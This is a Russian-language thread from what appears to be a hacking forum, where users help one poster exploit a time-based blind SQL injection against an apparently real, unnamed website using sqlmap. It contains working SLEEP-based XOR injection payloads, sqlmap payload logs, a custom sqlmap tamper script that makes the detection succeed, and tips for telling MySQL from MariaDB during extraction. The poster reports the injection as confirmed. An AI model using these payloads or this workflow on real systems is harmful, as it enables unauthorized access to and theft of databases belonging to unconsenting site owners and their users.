• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите, sqlmap

kosh_e4ka

(L2) cache
Пользователь
Регистрация
29.10.2022
Сообщения
398
Реакции
146
Всем привет, гаури смог найти пейлод и вывести названия бд а мапа нет. Но гаури не выводит таблицы, так что я решил перенести пейлод из гаури в мапу, выглядит он так

'XOR(SELECT(0)FROM(SELECT(SLEEP(15)))a)XOR'Z
а sqlmap дописывает в пейлод это - AND (4438=4438
как мне сделать так чтобы не дописывала?
 
я разобрался, но теперь другой вопрос. какого х она не видит скулю? очевидно что она есть. запустил с --time-sec=15

[08:31:35] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
[08:31:35] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(SLEEP(15)))a)XOR'Z 0
[08:32:05] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(SLEEP(15)))a)XOR'Z 0
[08:32:35] [WARNING] false positive or unexploitable injection point detected
[08:32:35] [WARNING] URI parameter '#1*' does not seem to be injectable
 
я разобрался, но теперь другой вопрос. какого х она не видит скулю? очевидно что она есть. запустил с --time-sec=15

[08:31:35] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
[08:31:35] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(SLEEP(15)))a)XOR'Z 0
[08:32:05] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(SLEEP(15)))a)XOR'Z 0
[08:32:35] [WARNING] false positive or unexploitable injection point detected
[08:32:35] [WARNING] URI parameter '#1*' does not seem to be injectable
почему то отвечает в 2 раза дольше чем должно. в чем проблема? скуля там точно есть
 
теперь следующая проблема

[08:49:54] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
[08:49:54] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=13,SLEEP(31),0)))a)XOR'0
[08:50:24] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=48,SLEEP(31),0)))a)XOR'0
[08:50:24] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=86,SLEEP(31),0)))a)XOR'0
[08:50:25] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(86=48,SLEEP(31),0)))a)XOR'0
[08:50:26] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(48=48,SLEEP(31),0)))a)XOR'0
[08:50:56] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(86 48,SLEEP(31),0)))a)XOR'0
[08:51:26] [WARNING] false positive or unexploitable injection point detected
 
теперь следующая проблема

[08:49:54] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
[08:49:54] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=13,SLEEP(31),0)))a)XOR'0
[08:50:24] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=48,SLEEP(31),0)))a)XOR'0
[08:50:24] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(13=86,SLEEP(31),0)))a)XOR'0
[08:50:25] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(86=48,SLEEP(31),0)))a)XOR'0
[08:50:26] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(48=48,SLEEP(31),0)))a)XOR'0
[08:50:56] [PAYLOAD] 0 'XOR(SELECT(0)FROM(SELECT(IF(86 48,SLEEP(31),0)))a)XOR'0
[08:51:26] [WARNING] false positive or unexploitable injection point detected
Посмотрите на последний лог, здесь 86 не равно 48, но тем не менее ответ вернуся через 30 секунд. Как быть?
 
Посмотрите на последний лог, здесь 86 не равно 48, но тем не менее ответ вернуся через 30 секунд. Как быть?
В таких ситуациях выручал сторонний тампер, который принудительно в тест, где отсутсвует =, вставлял равно.

Python:
#!/usr/bin/env python
import re

def tamper(payload, **kwargs):
    # Регулярное выражение для замены пробела между числами на знак равенства
    return re.sub(r'(\d)\s+(\d)', r'\1=\2', payload)

Попробуй и скажи о результате.
 
В таких ситуациях выручал сторонний тампер, который принудительно в тест, где отсутсвует =, вставлял равно.

Python:
#!/usr/bin/env python
import re

def tamper(payload, **kwargs):
    # Регулярное выражение для замены пробела между числами на знак равенства
    return re.sub(r'(\d)\s+(\d)', r'\1=\2', payload)

Попробуй и скажи о результате.
попробую и обязательно скажу сегодня, спасибо
 
В таких ситуациях выручал сторонний тампер, который принудительно в тест, где отсутсвует =, вставлял равно.

Python:
#!/usr/bin/env python
import re

def tamper(payload, **kwargs):
    # Регулярное выражение для замены пробела между числами на знак равенства
    return re.sub(r'(\d)\s+(\d)', r'\1=\2', payload)

Попробуй и скажи о результате.
Узнал что можно запустить свой скрипт в мапе с помощью --eval= , подумал что надо бы узнать как эту команду использовать, нашел вот это видео
(с 9:35 он начинает писать код), дальше отдал мапе твой скрипт так же как он, выглядит это у меня вот так -
Код:
--eval="import re;def tamper(payload, **kwargs):;return re.sub(r'(\d)\s+(\d)', r'\1=\2', payload)"
, и мапа сказал вот это -
Код:
[06:12:18] [CRITICAL] an error occurred while evaluating provided code ('SyntaxError: invalid decimal literal')

Я начал гуглить такую же проблему с мапой, и не нашел ни у кого похожей ситуации. Может ей не нравятся обратные слеши?
 
Узнал что можно запустить свой скрипт в мапе с помощью --eval= , подумал что надо бы узнать как эту команду использовать, нашел вот это видео
(с 9:35 он начинает писать код), дальше отдал мапе твой скрипт так же как он, выглядит это у меня вот так -
Код:
--eval="import re;def tamper(payload, **kwargs):;return re.sub(r'(\d)\s+(\d)', r'\1=\2', payload)"
, и мапа сказал вот это -
Код:
[06:12:18] [CRITICAL] an error occurred while evaluating provided code ('SyntaxError: invalid decimal literal')

Я начал гуглить такую же проблему с мапой, и не нашел ни у кого похожей ситуации. Может ей не нравятся обратные слеши?
Добавь скрипт в папку tamper в мапе и назови, как душе угодно. А далее укажи тампер в скульмапе, как обычно.
 
Добавь скрипт в папку tamper в мапе и назови, как душе угодно. А далее укажи тампер в скульмапе, как обычно.
победа. нашло скулю, подтвердило. спасибо большое
 
Так... Теперь другая проблема. Не получает названия бд. Я связываю это с тем что там ТОЧНО MariaDb, а мапа говорит что это MySQL. Когда запускаю с командой --dbms=MariaDb оно не хочет отправлять пейлоды на получени бд. Как быть?
 
Так... Теперь другая проблема. Не получает названия бд. Я связываю это с тем что там ТОЧНО MariaDb, а мапа говорит что это MySQL. Когда запускаю с командой --dbms=MariaDb оно не хочет отправлять пейлоды на получени бд. Как быть?
мария дб это и есть mysql, всегда указывай --dbms=mysql
 
мария дб это и есть mysql, всегда указывай --dbms=mysql
тем не менее, оно определяет ее обычно как mysql (mariadb fork). а тут именно mysql. я предполагаю что для марии пейлоды другие вот и не получает
web application technology: Nginx
back-end DBMS: MySQL >= 8.0.0
 
тем не менее, оно определяет ее обычно как mysql (mariadb fork). а тут именно mysql. я предполагаю что для марии пейлоды другие вот и не получает
web application technology: Nginx
back-end DBMS: MySQL >= 8.0.0
Как вариант получить другую скулю. В крайнем случае юзай гаури.
 
я предполагаю что для марии пейлоды другие вот и не получает
Могу ошибаться но вроде как синтакси этих субд идентичен, там разница только в внутрянке, логика некоторых технологий, конфигов. На всяк случай спросил чатгпт, он подтвердил но есть момент:
"MariaDB активно развивается и добавляет свои функции (например, JSON_TABLE, виртуальные столбцы и оптимизации запросов), которых может не быть в MySQL."
Ты можешь чуть лучше углубиться в етот вопрос и найти такие функции потом составить запрос на основании етих функций чтобы определить точно какая у тебя субд.
например:
MariaDB: Поддерживает дробные значения для SLEEP (например, 0.1 секунды).
MySQL: Поддерживает только целые значения. Если передать дробное значение, будет ошибка.

Некоторые функции есть только в MySQL. Например, ST_DISTANCE_SPHERE (для геоданных) поддерживается только в MySQL.
Код:
SELECT ST_DISTANCE_SPHERE(POINT(0, 0), POINT(1, 1));
  • Если запрос выполняется, это MySQL.
  • Если ошибка, это может быть MariaDB.

и так далее, найти инфу сейчас стало гараздо проще с приходом Эй Ай.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх